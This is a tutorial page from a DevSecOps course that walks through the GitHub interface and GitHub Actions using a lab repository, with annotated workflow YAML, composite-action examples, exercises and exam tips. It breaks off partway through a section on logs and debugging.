GitHub Actions DevSecOps
DevSecOps Learning Series by Georges MOMO

Ship code that proves it is safe

A free, hands-on course on GitHub and GitHub Actions in DevSecOps mode. You follow a real repository where every push is tested, scanned, signed and deployed to a throwaway Kubernetes cluster, and you learn why each step exists.

  • 13 stations
  • ~10 h at your own pace
  • Free, MIT licensed
  • Prepares for GH-200
Written by Georges MOMO, DevSecOps engineer. I built this lab to learn in public and to give others a real, working pipeline to take apart.

Welcome aboard

15 min, no setup needed
By the end of this station you can
  • explain in one sentence what DevSecOps means;
  • describe what the lab repository does on every push;
  • choose how you will follow the course.

Why this course exists

Most tutorials stop at "your tests ran green". Real companies need more: they must show that the code was reviewed, that no secret leaked, that the container has no critical vulnerability, that the image running in production is exactly the one the pipeline built, and who approved the deployment. That is DevSecOps: security checks built into the delivery pipeline instead of a review at the end.

This course takes a real repository, georgesmomo/devsecops-actions-lab, and explains it from the ground up. It starts with the GitHub interface (no prior knowledge needed), then goes deep into GitHub Actions, supply chain security, settings, GitHub Apps, AI agents, and finally the GH-200 certification.

Think of it like this

A pipeline is an airport. Your code is a passenger. CI is check-in (are your papers in order?), the scanners are security control, signing is the boarding pass with your photo on it, and deployment is boarding. DevSecOps means security control is part of the route, not an optional detour, and the plane refuses passengers without a valid boarding pass.

What the lab contains

A tiny Python web API (two endpoints), a Dockerfile, two Kubernetes manifests, and six workflows. The application is deliberately simple so that all your attention goes to the delivery chain around it. One dependency, gunicorn==22.0.0, is intentionally old so that Dependabot and Trivy have something real to report.

Three ways to use this course

Follow the stations in order. Each one starts with goals, explains each feature (what it is, why it exists, how companies use it, its limits), shows annotated screenshots of the real repository, and ends with a short quiz. Mark stations as completed: your progress is saved in this browser.

Fork the repository into your own GitHub account and run the pipeline yourself. Every station has a hands-on block. You need nothing installed locally: the whole lab was built from the web interface, and the pipeline runs on GitHub's free runners for public repositories.

  1. Fork the repository (Fork button, top right).
  2. Enable Actions in your fork: Actions tab, "I understand my workflows, go ahead and enable them".
  3. Run the pipeline: Actions, DevSecOps Pipeline, Run workflow.
  4. Turn on the security features: Settings, Advanced Security (Dependabot alerts, secret scanning).

Go straight to station 5 (how Actions works), 6 (runs), 9 (settings) and 12 (exam map), then take the final exam. Every feature card has an "Exam tip" line when the topic is a classic exam question.

How to read the feature cards

Feature cards (white cards with a coloured top edge) describe one feature with the same six questions: what it is, why it exists, in real companies, how, limits and pitfalls, and sometimes an exam tip. The feature index near the end lists all of them with a search box.

GitHub in 10 minutes, and the global bar

35 min, browser only
By the end of this station you can
  • define repository, commit, branch, pull request, issue, workflow and GitHub App;
  • find your way with the global bar on any GitHub page;
  • search code across GitHub like a security engineer.

The core vocabulary

WordPlain meaningPrecise meaning
RepositoryThe project folder.Files, their full git history, and everything GitHub attaches around them: issues, pull requests, Actions, packages, wiki, security.
Commit and branchA saved version, and a line of work.A commit is a snapshot identified by a SHA. A branch is a movable pointer to a commit. main is the default branch.
Pull request"Please merge my work."A proposal to merge one branch into another. Review, CI checks and the merge decision all live there.
IssueA ticket.A bug, idea or task. Linked to pull requests ("Fixes #12") and to Projects. Can be assigned to an AI agent.
GitHub ActionsThe robot that does chores on every change.The automation engine: YAML workflows triggered by events and executed on runners.
Packages (GHCR)A shelf for built software.A registry for container images and packages, tied to the repository and its permissions.
GitHub AppA robot account.An integration installed on an account or repositories, with its own fine-grained permissions and its own bot identity.
Copilot and agentsAn AI pair programmer.Chat, pull request review, commit messages, and agents that code on their own inside an Actions runner.

The global bar

The bar at the top of every page does not depend on the repository you are in. Learn it once, use it everywhere.

A GitHub repository page with the global bar at the top
The global bar is the same on every page. Click the numbered pins.

Notifications (Inbox)

What it is
The inbox for everything that concerns you on GitHub.
Why it exists
Hear about a mention, a review request, a failed workflow or a security alert.
In real companies
As soon as you work in a team, review requests (often triggered by CODEOWNERS) and pipeline failures land here.
How
Use a repository's Watch button to choose the level (Participating, All activity, Custom). Filter the Inbox by Review requested, Assigned or Mentioned.
Limits and pitfalls
Watching "All activity" on a busy repository floods the Inbox. Email delivery is set in Settings, Notifications.

The menu (global navigation)

The global navigation menu opened on the left
The menu (personal repositories blurred). Click the numbered pins.

Marketplace

What it is
The catalog of Actions and GitHub Apps published by GitHub, vendors and the community.
Why it exists
Find a ready-made action (scanning, deployment, notification) or an App to install (CI, quality, security, AI).
In real companies
Before writing a homemade script in a workflow, check the Marketplace: the building block often exists, maintained and tested.
How
Filter with type:actions or type:apps. An action's page gives the uses: snippet to copy, its documented inputs and a link to the source repository.
Limits and pitfalls
Published does not mean audited. The Verified badge means the creator is verified, not that the code is safe: pin by SHA and read the code.
Exam tip
To publish: an action.yml at the root of a public repository, a unique name, branding, then "Draft a release" with the Marketplace box ticked.

MCP registry

What it is
A directory of MCP (Model Context Protocol) servers ready to plug into Copilot.
Why it exists
Give the AI agent extra tools: Sentry, Azure, Notion, databases, a browser.
In real companies
A team that wants the agent to read production errors or tickets from an external tool while it codes.
How
Pick a server in the registry, then declare it in the repository's Settings, Copilot, MCP servers, or in your IDE configuration.
Limits and pitfalls
Each MCP server widens what the agent can read and do: restrict the tools list and the tokens it gets.

The + button

The plus menu opened in the global bar
The + menu. Click the numbered pins.

Organization

What it is
A shared account that owns repositories, with members, teams and roles.
Why it exists
Separate personal and company projects, manage access per team, centralize billing and policies.
In real companies
Always used in companies: one organization, teams (dev, ops, support), shared secrets and runners, organization-wide Actions policies.
How
+ menu, New organization. Roles: owner, member, billing manager. Repository permissions: read, triage, write, maintain, admin.
Limits and pitfalls
The Free plan has no SSO, no advanced audit log and no environment protection rules on private repositories.
Exam tip
Secrets, variables, runners and Actions policies can also be defined at organization level.

Gist

What it is
A tiny git repository for sharing one or a few files.
Why it exists
Share a code snippet, a config file or a technical note, with history.
In real companies
Send a sample workflow to a colleague without creating a repository.
How
+ menu, New gist. Public or secret.
Limits and pitfalls
"Secret" means unlisted, not private: anyone with the URL can read it. Never put a password in a gist.

The Copilot menu

The Copilot menu opened in the global bar
Copilot in the global bar. Click the numbered pins.

Copilot Chat

What it is
The conversational AI assistant built into github.com, IDEs and mobile.
Why it exists
Explain a file, a diff or a failed job; draft a workflow; search a repository's code.
In real companies
Get up to speed on an unknown repository, or diagnose a red run with "Explain error" on a failed job.
How
Copilot button in the global bar, or select code and choose "Ask Copilot".
Limits and pitfalls
The free plan has a monthly request quota. Check answers the way you would check a colleague's.

Copilot Spaces

What it is
A place where you gather context (repositories, files, issues, free text) for Copilot.
Why it exists
Get answers grounded in the right internal documentation instead of generic advice.
In real companies
A shared space called "Company CI standards": Copilot answers by following your own conventions.
How
Copilot menu, Spaces, then add sources.
Limits and pitfalls
The added context must be kept up to date. An organization space follows the repositories' access rights.

The avatar menu

The avatar menu opened at the top right
The avatar menu. Click the numbered pins.

Account settings

What it is
The settings that concern you as a person, whatever the repository.
Why it exists
SSH and GPG keys, two-factor authentication, personal access tokens, authorized applications, Copilot preferences.
In real companies
Before working locally, add an SSH key. Before automating, create a fine-grained token or, better, a GitHub App.
How
Avatar, Settings. Developer settings (bottom left) holds GitHub Apps, OAuth Apps and Personal access tokens.
Limits and pitfalls
A classic token reaches all your repositories: prefer fine-grained tokens (chosen repositories, expiry date).
Keyboard shortcuts worth learning today

/ search, t find a file in the repository, . open the repository in the github.dev web editor, ? list every shortcut.

Hands-onSearch like a security engineer

Using GitHub search, find every workflow in the lab repository that uses Trivy, then every place where id-token: write is declared.

Show a hint

Combine repo: and path: qualifiers, then put the text you look for in quotes.

Show the solution

repo:georgesmomo/devsecops-actions-lab path:.github/workflows "trivy-action" finds reusable-docker.yml. repo:georgesmomo/devsecops-actions-lab "id-token: write" finds devsecops.yml and reusable-docker.yml: the only places that need an OIDC identity, for keyless signing and attestations.

A repository and its tabs

35 min, browser only
By the end of this station you can
  • say what each repository tab is for;
  • read the Code page: branches, latest commit, deployments, packages;
  • choose between cloning, Codespaces and the Copilot app.

The tabs under the repository name are a map of everything GitHub does for a project. Here they are on the lab repository.

The tab bar of a repository: Code, Issues, Pull requests, Agents, Actions and more
The tabs under the repository name map everything GitHub does for a project. Click the numbered pins.

Projects

What it is
A planning tool: kanban board, table or roadmap fed by issues and pull requests.
Why it exists
Track progress, prioritize, plan in iterations.
In real companies
Run a sprint or a product roadmap that spans several repositories.
How
Projects tab, New project. Custom fields (status, priority, estimate), saved views, built-in automations.
Limits and pitfalls
A project belongs to a user or an organization and is then linked to repositories.

Wiki

What it is
Documentation pages attached to the repository, stored in a separate git repository (REPO.wiki.git).
Why it exists
Document without cluttering the code: procedures, architecture, FAQ.
In real companies
Fine for a living team handbook. For documentation versioned with the code or published as a site, prefer a docs/ folder and GitHub Pages, like this course.
How
Wiki tab, Create the first page. Can be disabled in Settings, Features.
Limits and pitfalls
On a public repository, restrict editing to collaborators in the wiki settings.
The Insights tab showing the Pulse page of the lab repository
Insights, Pulse: the two Dependabot pull requests opened right after the repository was created. Click the numbered pins.

Insights

What it is
The repository's statistics.
Why it exists
Pulse (activity of the week), contributors, traffic, dependency graph, branch network, Actions metrics.
In real companies
The dependency graph feeds Dependabot and can export an SBOM. Actions metrics show slow or costly jobs.
How
Insights tab, left menu.
Limits and pitfalls
Traffic is only visible with write access and only covers the last 14 days.

The Code page

The Code page of the lab repository with its file list and side panels
The Code page: the repository's home. Click the numbered pins.

Branches and tags

What it is
A branch is a line of development; a tag is a fixed label on one commit.
Why it exists
Branches isolate work before review. Tags mark a version such as v1.2.0.
In real companies
The usual company model: protected main, one branch per feature, pull request required, a tag for every release.
How
Branch selector, type a name, Create branch. Tags come from Releases or git tag.
Limits and pitfalls
A tag can be moved or deleted unless a tag ruleset forbids it. That is exactly why actions are pinned by commit SHA.
Exam tip
Trigger filters: branches, branches-ignore, tags, tags-ignore. Pushing a tag is not pushing a branch.

Releases

What it is
An official publication: a tag, release notes and attached files.
Why it exists
Ship an identifiable version to users and trigger a publishing pipeline.
In real companies
Deliver a binary or a versioned image and keep a readable change history.
How
Releases, Draft a new release, pick or create the tag, Generate release notes.
Limits and pitfalls
"Enable release immutability" (Settings) prevents changing the files and the tag once published.
Exam tip
Event: on: release: types: [published].

Deployments

What it is
The deployment history, recorded automatically when a job declares environment:.
Why it exists
Know which version runs where, since when, and which run deployed it.
In real companies
Auditors ask "who deployed what to production, and when?". This panel answers.
How
Deployments panel on the Code page, or Actions, Deployments.
Limits and pitfalls
GitHub records the deployment; it does not know whether the application really works afterwards. That is the job of the smoke test.

The green Code button

The green Code button opened on the Local tab
Code button, Local tab. Click the numbered pins.

Clone (HTTPS, SSH, CLI)

What it is
Copy the repository and its history to your machine.
Why it exists
Work locally with your IDE, run the tests, push commits.
In real companies
HTTPS with a credential manager to start, SSH for a daily development machine, gh to also manage pull requests and runs from the terminal.
How
Code button, copy the URL, then git clone … or gh repo clone georgesmomo/devsecops-actions-lab.
Limits and pitfalls
Passwords no longer work over HTTPS: you need a token or Git Credential Manager.

GitHub Copilot app

What it is
A desktop application (macOS, Windows, Linux) dedicated to AI agents.
Why it exists
Run several agent sessions in parallel, each on its own branch, and follow issues, pull requests and CI in one place.
In real companies
Delegate three small tasks at once (a fix, some tests, a doc page) and only review the resulting pull requests.
How
Code button, Open in GitHub Copilot app. Modes: Interactive, Plan (you approve the plan) or Autopilot.
Limits and pitfalls
Local sessions act on your machine: keep the sandbox enabled.
The Codespaces tab of the Code button
Code button, Codespaces tab. Click the numbered pins.

Codespaces

What it is
A full development environment (VS Code and a terminal) running on a cloud VM.
Why it exists
Code without installing anything, with the same environment for the whole team.
In real companies
Onboard a developer in minutes, work on heavy repositories, run trainings, work from an unmanaged laptop.
How
Code, Codespaces, Create codespace. The environment is described in .devcontainer/devcontainer.json; prebuilds make it start fast.
Limits and pitfalls
Paid beyond a free monthly quota (hours and storage). Stops automatically after inactivity.
In real companies

The Code page is where an auditor starts: is main protected, which environments received deployments, which image is published and from which commit. In the lab, the protection banner is visible on purpose: protecting main is one of the exercises of station 9.

Hands-onRead the repository like an auditor

Open the lab's Code page and answer: which environment was the latest deployment sent to? What is the name of the published package? Which tags does the image have?

Show the solution

The Deployments panel shows staging. The Packages panel shows the image devsecops-actions-lab on ghcr.io. Opening it shows the tags set by docker/metadata-action: latest, main and a sha-… tag for the commit.

Collaborating with issues and pull requests

40 min, browser only
By the end of this station you can
  • follow a change from issue to deployment;
  • create issue forms and CODEOWNERS rules;
  • explain why pull requests from forks get no secrets.

Creating an issue from a template

Templates live in .github/ISSUE_TEMPLATE/. The lab contains a YAML form, bug.yml. The "Report a security vulnerability" option appears because the repository has a SECURITY.md and private reporting.

The New issue chooser listing a Bug form, a blank issue and a private vulnerability report
Issues, New issue. Click the numbered pins.
name: Bug
description: Report a malfunction
labels: [bug]              # added automatically1
body:
  - type: textarea
    id: what
    attributes:
      label: What is happening?
    validations:
      required: true       # enforced by the web form only2
  - type: input
    id: run
    attributes:
      label: Link to the GitHub Actions run (if any)
  1. Every issue created with this form gets the bug label, so triage filters work from day one.
  2. The API can still create an issue without this field: validation is a web-form feature.

The repository's files carry French comments; excerpts in this course show them translated.

The rendered bug issue form with its fields and side panel
The rendered form. Click the numbered pins.

Issues

What it is
The repository's ticket tracker.
Why it exists
Track bugs, requests and tasks; discuss; assign; link to code.
In real companies
The entry point of work: an issue, then a branch, then a pull request containing "Fixes #12" that closes the issue on merge. An issue can also be assigned to an AI agent.
How
Issues, New issue. Labels, assignees, milestone, type, sub-issues, link to a Project.
Limits and pitfalls
Without templates and labels, issues quickly become unusable: enforce a form.
Exam tip
Event on: issues: types: [opened, labeled] automates triage.

Issue templates

What it is
Forms or prefilled texts offered when someone creates an issue.
Why it exists
Get complete reports (version, logs, steps to reproduce), labeled automatically.
In real companies
Open source projects and internal support desks: without a template, half of the tickets lack information.
How
YAML files in .github/ISSUE_TEMPLATE/; a config.yml can disable blank issues or add links.
Limits and pitfalls
validations: required only applies to the web form, not to the API.

The pull request list

Minutes after the repository was created, Dependabot opened two pull requests: it spotted the deliberately old gunicorn==22.0.0 and a newer Python base image.

The pull requests list with two Dependabot pull requests
Pull requests: Dependabot opened these minutes after the repository was created. Click the numbered pins.

Anatomy of a pull request

An open Dependabot pull request with its tabs and side panel
Anatomy of an open pull request. Click the numbered pins.

Pull request

What it is
A request to merge one branch into another, with review and checks.
Why it exists
Get a review, run the CI, discuss, then merge cleanly.
In real companies
The central control point in companies: mandatory review, mandatory checks, a trace for every change.
How
After pushing a branch: Compare & pull request. Draft if not ready. Merge methods: merge commit, squash or rebase; auto-merge; merge queue.
Limits and pitfalls
A pull request from a fork gets no secrets. Commits pushed with GITHUB_TOKEN do not start new workflow runs.
Exam tip
pull_request runs on a simulated merge commit; pull_request_target runs on the base branch, with secrets.

CODEOWNERS

What it is
A file that maps paths of the repository to the people responsible for them.
Why it exists
Request the right reviewers automatically and, with a ruleset, require their approval.
In real companies
Make the security team approve every change to .github/workflows/ or the Dockerfile.
How
.github/CODEOWNERS: a pattern, then @user or @org/team. The last matching line wins.
Limits and pitfalls
Owners need write access. Without the "Require review from Code Owners" rule, it is only a request.
# Sensitive files require the owner's review (with "Require review from Code Owners")
*                       @georgesmomo
/.github/               @georgesmomo
/Dockerfile             @georgesmomo
The fork trap (classic exam question)

Workflows triggered by a pull request from a fork get no secrets and a read-only GITHUB_TOKEN. pull_request_target runs in the context of the base branch, with secrets: never check out and run the pull request's code there without great care, or a stranger's code runs with your secrets.

Hands-onAdd a feature-request form

In your fork, add a second issue form .github/ISSUE_TEMPLATE/feature.yml with a required "Problem to solve" field and the label enhancement, then disable blank issues.

Show a hint

Blank issues are controlled by a separate file in the same folder: config.yml.

Show the solution
name: Feature request
description: Propose an improvement
labels: [enhancement]
body:
  - type: textarea
    id: problem
    attributes:
      label: Problem to solve
    validations:
      required: true
blank_issues_enabled: false

Creating and editing in the browser

20 min, browser only
By the end of this station you can
  • create a repository and files without installing git;
  • use the workflow editor and its Marketplace panel;
  • choose between a direct commit and a pull request.

The whole lab was pushed from the web interface, without a local git. Three screens are enough.

A new repository

The new repository form on github.com/new
github.com/new Click the numbered pins.

The workflow editor

Opening a file under .github/workflows/ turns on a special editor: autocompletion for Actions keys, schema validation, and a Marketplace panel that inserts an action's snippet for you.

The workflow editor with the YAML in the center and the Marketplace panel on the right
The workflow editor. Click the numbered pins.

Editing in the browser

What it is
Three levels: the file editor, github.dev (press .) and Codespaces.
Why it exists
Fix or create files without cloning.
In real companies
Small fixes, documentation, adjusting a workflow. To run code, move to Codespaces.
How
Pencil icon on a file, Add file, Create new file, or press . for github.dev (VS Code without a terminal).
Limits and pitfalls
github.dev has no terminal and runs nothing. Web commits are signed by GitHub (Verified badge).

Committing

The commit dialog with a suggested message and two commit options
The commit dialog (nothing was committed here). Click the numbered pins.

Committing from the web

What it is
Saving your changes with a message.
Why it exists
Choose between writing directly to the branch or opening a pull request.
In real companies
On a protected branch the direct option disappears: only the pull request remains.
How
Commit changes, message (Copilot can suggest one), then Commit directly or Create a new branch.
Limits and pitfalls
A direct commit on main immediately triggers the on: push workflows.
Shortcut URL

A URL like github.com/OWNER/REPO/new/main?filename=path/to/file.yml opens the editor directly on a new file, folders included.

Hands-onYour first workflow, from the browser

In your fork, create .github/workflows/hello.yml that prints the name of the event and the branch on every push, and can also be started by hand. Commit it on a new branch and open a pull request.

Show the solution
name: Hello
on:
  push:
  workflow_dispatch:
permissions:
  contents: read
jobs:
  hello:
    runs-on: ubuntu-latest
    steps:
      - run: echo "Event $GITHUB_EVENT_NAME on $GITHUB_REF_NAME"

Note the use of the default environment variables GITHUB_EVENT_NAME and GITHUB_REF_NAME rather than ${{ }} expressions inside the script: a habit that protects you from script injection (station 8).

How GitHub Actions works

75 min, the heart of the course
By the end of this station you can
  • explain event, workflow, job, step, action and runner, and how they fit together;
  • read any trigger block and predict when a workflow runs;
  • pass data between steps and jobs, use a matrix, contexts and expressions;
  • choose between a starter workflow, a reusable workflow and a composite action.
Think of it like this

GitHub Actions is a restaurant kitchen. An event is an order arriving. The workflow is the recipe card for that kind of order. Each job is a cook working at a brand-new, empty station (the runner), cleaned away after the dish. Steps are the lines of the recipe, done in order by the same cook. An action is a ready-made kit you buy instead of cooking from scratch ("pre-made sauce"). Cooks work in parallel unless one needs the other's result first.

Three rules that explain most surprises

1. Each job is a fresh machine: a file created in job A does not exist in job B. 2. Steps of the same job share everything: files, installed tools, environment written to $GITHUB_ENV. 3. To pass data between jobs, use job outputs (small strings) or artifacts (files).

The building blocks

BlockRoleWhere in the lab
on:Triggers: push, pull_request, schedule (cron, UTC), workflow_dispatch (button with inputs), workflow_call (reusable), repository_dispatch (API webhook). Filters: branches, tags, paths and their -ignore variants.every workflow
permissions:Rights of the short-lived GITHUB_TOKEN. {} means none; each job asks for the minimum.devsecops.yml
concurrency:Only one run at a time per group; cancel-in-progress cancels the older one.CI cancels, deployment never does
strategy.matrixGenerates N jobs from axes; include, exclude, fail-fast, max-parallel.tests on Python 3.12 and 3.13
needs: and if:Dependencies between jobs and conditions (always(), failure(), github.event_name == …).everywhere
environment:A deployment target with protection rules, its own secrets and a URL.staging
uses: ./…A local action (composite) or a reusable workflow from the same repository.smoke-test, reusable-docker.yml
Environment files$GITHUB_OUTPUT (step outputs), $GITHUB_ENV (variables for later steps), $GITHUB_STEP_SUMMARY (Markdown summary), $GITHUB_PATH (add to PATH).run summaries, image name

Triggers: when does a workflow run?

The on: block is a filter on events. Here is the real trigger block of the main pipeline.

on:
  push:
    branches: [main]
    tags: ["v*.*.*"]                 # a release tag also starts the pipeline1
    paths:                           # ...but only if these files changed2
      - "app/**"
      - "Dockerfile"
      - "k8s/**"
      - ".github/workflows/devsecops.yml"
      - ".github/workflows/reusable-docker.yml"
      - ".github/workflows/ci.yml"
      - ".github/actions/**"
  workflow_dispatch:                 # the Run workflow button3
    inputs:
      environment:
        description: "Target environment"
        type: choice
        options: [staging, production]
        default: staging
      skip-deploy:
        description: "Build without deploying"
        type: boolean
        default: false
  1. When a push contains both branch and tag filters, matching either one is enough. Pushing v1.2.0 produces an image tagged 1.2.0.
  2. With paths, a commit that only edits the README does not start the pipeline. Path filters are not evaluated for tag pushes.
  3. Manual runs with typed inputs, read later as ${{ inputs.environment }}.

Trigger simulator: which of the lab's workflows run?

Built from the real on: blocks of the repository's workflow files: the six workflows of the lab, plus the one that publishes this course. Pick an event, then see which workflows start and why.

Files changed by the commit(s)

Contexts and expressions

Anything between ${{ }} is an expression, evaluated by GitHub before the step runs. Expressions read contexts: objects that describe the run.

ContextContainsExample from the lab
githubThe event, repository, ref, SHA, actor, token.github.event.pull_request.head.repo.full_name == github.repository
inputsInputs of workflow_dispatch or workflow_call.${{ inputs.environment || 'staging' }}
secrets, varsEncrypted secrets and plain variables.${{ secrets.GITHUB_TOKEN }}, ${{ secrets.COPILOT_PAT }}
stepsOutputs and outcome of earlier steps (they need an id).${{ steps.push.outputs.digest }}
needsOutputs and result of the jobs this job depends on.${{ needs.build.outputs.digest }}
matrix, strategyThe current matrix combination.${{ matrix.python }}
job, runner, envJob status, runner OS and temp folder, environment variables.${{ job.status }}

Useful functions: status checks success(), failure(), always(), cancelled(); text and data contains(), startsWith(), format(), join(), toJSON(), fromJSON(), and hashFiles() for cache keys. The lab builds its run summary with join(fromJSON(steps.meta.outputs.json).tags, ', '): turn the JSON output of an action into a list, then into a comma-separated string.

Passing data: step to step, job to job

jobs:
  build:
    outputs:                                     # job outputs, readable by other jobs2
      digest: ${{ steps.push.outputs.digest }}
      image: ${{ steps.vars.outputs.image }}
    steps:
      - name: Lower-case image name
        id: vars
        run: echo "image=ghcr.io/${GITHUB_REPOSITORY,,}" >> "$GITHUB_OUTPUT"   # step output1
  deploy:
    needs: build
    env:
      IMAGE: ${{ needs.build.outputs.image }}@${{ needs.build.outputs.digest }}   # read in another job3
  1. A step writes key=value to the file named by $GITHUB_OUTPUT. ${GITHUB_REPOSITORY,,} is bash for "lower-case", because registry names must be lower-case.
  2. The job promotes step outputs to job outputs.
  3. Any job that needs it can read them. For files rather than strings, use artifacts.

The matrix: one definition, many jobs

  test:
    name: Tests (Python ${{ matrix.python }})
    needs: lint
    runs-on: ubuntu-latest
    strategy:
      fail-fast: false                 # let the other version finish if one fails1
      matrix:
        python: ["3.12", "3.13"]       # two jobs generated2
    defaults:
      run:
        working-directory: app
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
      - uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
        with:
          python-version: ${{ matrix.python }}
          cache: pip                   # built-in dependency cache3
          cache-dependency-path: app/requirements-dev.txt
      - run: pip install -r requirements-dev.txt
      - run: pytest --junitxml=report-${{ matrix.python }}.xml
      - name: Publish the test report
        if: always()                   # upload even when tests fail4
        uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
        with:
          name: test-report-${{ matrix.python }}
          path: app/report-${{ matrix.python }}.xml
          retention-days: 7
  1. By default fail-fast is true: the first failure cancels the rest of the matrix.
  2. Add axes (OS, versions) and the jobs multiply: 2 OS × 3 versions = 6 jobs. include adds a combination, exclude removes one, max-parallel limits concurrency.
  3. The cache key is derived from the dependency file: change the file, get a new cache.
  4. if: always() makes this step run even after a failure, which is exactly when you want the report.

Concurrency: one run at a time

concurrency:
  group: ci-${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true      # a new push to the same branch cancels the obsolete run

Saves minutes: nobody cares about the result of a commit that has already been replaced.

concurrency:
  group: deploy-${{ github.ref }}
  cancel-in-progress: false     # never interrupt a deployment in progress

A deployment cut halfway can leave production in a mixed state. The next run waits instead.

Three ways to reuse

Starter workflowReusable workflowComposite action
What it isA template copied once, then independent.A workflow called through workflow_call, maintained in one place.A sequence of steps packaged in an action.yml.
LevelWorkflow fileWhole jobs (runners, environments)Steps inside a job
Called withnothing (it is a copy)jobs.<id>.uses: owner/repo/.github/workflows/x.yml@refsteps[*].uses: owner/repo/path@ref
Secretsn/asecrets: inherit or explicit mappingpassed as inputs
In the labNew workflow buttonreusable-docker.yml, ci.yml.github/actions/smoke-test
name: Smoke test Kubernetes
description: Expose a Service through port-forward and check the HTTP answer
inputs:
  service:
    description: Name of the Kubernetes Service
    required: true
  path:
    default: /healthz
  expected:
    default: ok
outputs:
  response:
    value: ${{ steps.call.outputs.response }}
runs:
  using: composite                     # steps, not jobs1
  steps:
    - name: HTTP call
      id: call
      shell: bash                      # mandatory for run steps in a composite2
      env:
        SVC: ${{ inputs.service }}     # inputs go through env, never straight into the script3
        URL_PATH: ${{ inputs.path }}
        EXPECTED: ${{ inputs.expected }}
      run: |
        kubectl port-forward "svc/${SVC}" 18080:80 >/tmp/pf.log 2>&1 &
        for i in $(seq 1 20); do
          if body=$(curl -fsS "http://127.0.0.1:18080${URL_PATH}"); then break; fi
          sleep 2
        done
        echo "response=${body}" >> "$GITHUB_OUTPUT"
        if [[ "${body}" != *"${EXPECTED}"* ]]; then
          echo "::error title=Smoke test::unexpected answer on ${URL_PATH}"
          exit 1
        fi
  1. Three action types exist: JavaScript (using: node24, fast, every OS), Docker (using: docker, Linux only, frozen environment) and composite.
  2. Every run step of a composite action must declare its shell.
  3. The same anti-injection habit as in workflows.
Exam tip: action metadata

action.yml (or action.yaml) at the action's root: name, description, runs are required; inputs, outputs and branding are optional, but branding is needed to publish on the Marketplace.

Hands-onGrow the matrix

In your fork, make the tests run on Python 3.12 and 3.13, on both ubuntu-latest and windows-latest, but skip Python 3.12 on Windows. How many test jobs run?

Show the solution
    runs-on: ${{ matrix.os }}
    strategy:
      fail-fast: false
      matrix:
        os: [ubuntu-latest, windows-latest]
        python: ["3.12", "3.13"]
        exclude:
          - os: windows-latest
            python: "3.12"

2 × 2 = 4 combinations minus 1 excluded = 3 jobs. Remember to update the job name to include the OS, otherwise two jobs share a name and required checks become ambiguous.

ChallengePass a value between jobs

Add a job version that computes the short commit SHA, and a job announce that prints it. Do not use artifacts.

Show the solution
jobs:
  version:
    runs-on: ubuntu-latest
    outputs:
      short: ${{ steps.v.outputs.short }}
    steps:
      - id: v
        run: echo "short=${GITHUB_SHA::7}" >> "$GITHUB_OUTPUT"
  announce:
    needs: version
    runs-on: ubuntu-latest
    steps:
      - env:
          SHORT: ${{ needs.version.outputs.short }}
        run: echo "Building commit $SHORT"

Running and reading runs

40 min, browser or CLI
By the end of this station you can
  • find any run, job or log in the Actions tab;
  • start a workflow by hand with inputs;
  • debug a failed run and re-run only what failed;
  • tell a cache from an artifact.
The Actions tab listing workflows on the left and runs on the right
Actions, All workflows. Click the numbered pins.

Workflows

What it is
The YAML files in .github/workflows/ that describe an automation.
Why it exists
Build, test, scan, deploy, triage issues: anything that reacts to an event.
In real companies
A company repository usually has several: pull request CI, delivery, scheduled scans, maintenance jobs.
How
Actions tab, New workflow (templates), or create the file yourself. A workflow's … menu offers Disable workflow.
Limits and pitfalls
Scheduled workflows of a public repository are disabled after 60 days without activity. schedule and workflow_dispatch need the workflow on the default branch.
Exam tip
Disabling keeps the file and the history; deleting the file removes the workflow.

Caches

What it is
Storage for files reused from one run to the next (dependencies, Docker layers).
Why it exists
Make runs faster and cheaper.
In real companies
pip, npm, Maven or buildx layers (type=gha) often save minutes per run.
How
actions/cache with key and restore-keys, or the cache: option of the setup-* actions. Managed in Actions, Caches.
Limits and pitfalls
Quota per repository (10 GB by default), oldest entries evicted, entries removed after 7 days without access. A branch can read the cache of main, not the other way round.
Exam tip
Cache = speed-up, may disappear. Artifact = output of a run, kept or passed on.

Artifacts

What it is
Files produced by a run and stored with it.
Why it exists
Pass a file from one job to another, or keep a downloadable report (tests, SBOM).
In real companies
JUnit reports, compiled binaries tested by a later job, audit evidence.
How
actions/upload-artifact then actions/download-artifact; retention-days sets the lifetime.
Limits and pitfalls
90-day retention by default; names must be unique within a run; storage is billed on private repositories.
Cache or artifact?

A cache is the fridge: it keeps ingredients so the next meal is faster, and nobody panics if it is emptied. An artifact is the dish you deliver: the result of this specific run, which someone will download or a later job will use.

Starting a run by hand

The Run workflow dialog with the environment and skip-deploy inputs
Run workflow, with the inputs declared in devsecops.yml. Click the numbered pins.

workflow_dispatch

What it is
A manual trigger with parameters typed in the web UI, the CLI or the API.
Why it exists
Run a one-off operation: deploy to a chosen target, roll back, run maintenance.
In real companies
Deploy to production on demand after validation, while keeping the full Actions audit trail.
How
on: workflow_dispatch: inputs: with types string, boolean, choice, number, environment. Read them with ${{ inputs.name }}. CLI: gh workflow run devsecops.yml -f environment=production.
Limits and pitfalls
The Run workflow button only appears once the workflow exists on the default branch.
Exam tip
Do not confuse it with repository_dispatch, triggered by an external API call with an event_type.

The run graph

The graph of the first DevSecOps Pipeline run, all jobs green
Run #1 of the DevSecOps Pipeline: success in 3 min 25 s. Click the numbered pins.

Runs, graph and re-run

What it is
Each execution of a workflow, shown with its job graph.
Why it exists
See what runs, what failed and why, and run it again.
In real companies
CI incident diagnosis: read the job order, spot the skipped job, re-run only the failed job.
How
Open a run, read the graph, click a job for its logs. Re-run all jobs, Re-run failed jobs, or a single job.
Limits and pitfalls
A re-run reuses the same commit and the same YAML: changing the workflow requires a new push.
Exam tip
skipped comes from a false if:; cancelled from a manual cancel or from concurrency.

Job summaries

Job summaries of the run with an attestation list and a digest table
Job summaries written to GITHUB_STEP_SUMMARY. Click the numbered pins.

Job summaries

What it is
Markdown that a job writes to $GITHUB_STEP_SUMMARY, shown on the run page.
Why it exists
Display a readable report: test results, image digest, links.
In real companies
Reviewers see the essentials at a glance instead of digging through logs.
How
echo "### Result" >> "$GITHUB_STEP_SUMMARY" in a step.
Limits and pitfalls
Size is limited per step; never write a secret there.

Logs

Logs of the Deploy job with the cosign verification step expanded
Logs of the Deploy job. Click the numbered pins.

Logs and debugging

What it is
